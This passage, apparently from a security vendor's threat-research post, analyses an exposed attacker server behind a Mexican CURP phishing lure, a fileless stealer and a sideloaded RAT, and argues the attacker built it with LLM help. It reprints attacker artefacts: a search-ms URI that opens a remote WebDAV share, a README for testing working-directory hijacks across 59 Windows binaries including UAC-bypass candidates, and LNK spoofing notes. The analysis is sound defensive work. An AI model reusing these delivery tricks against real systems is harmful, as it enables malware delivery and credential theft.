</span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 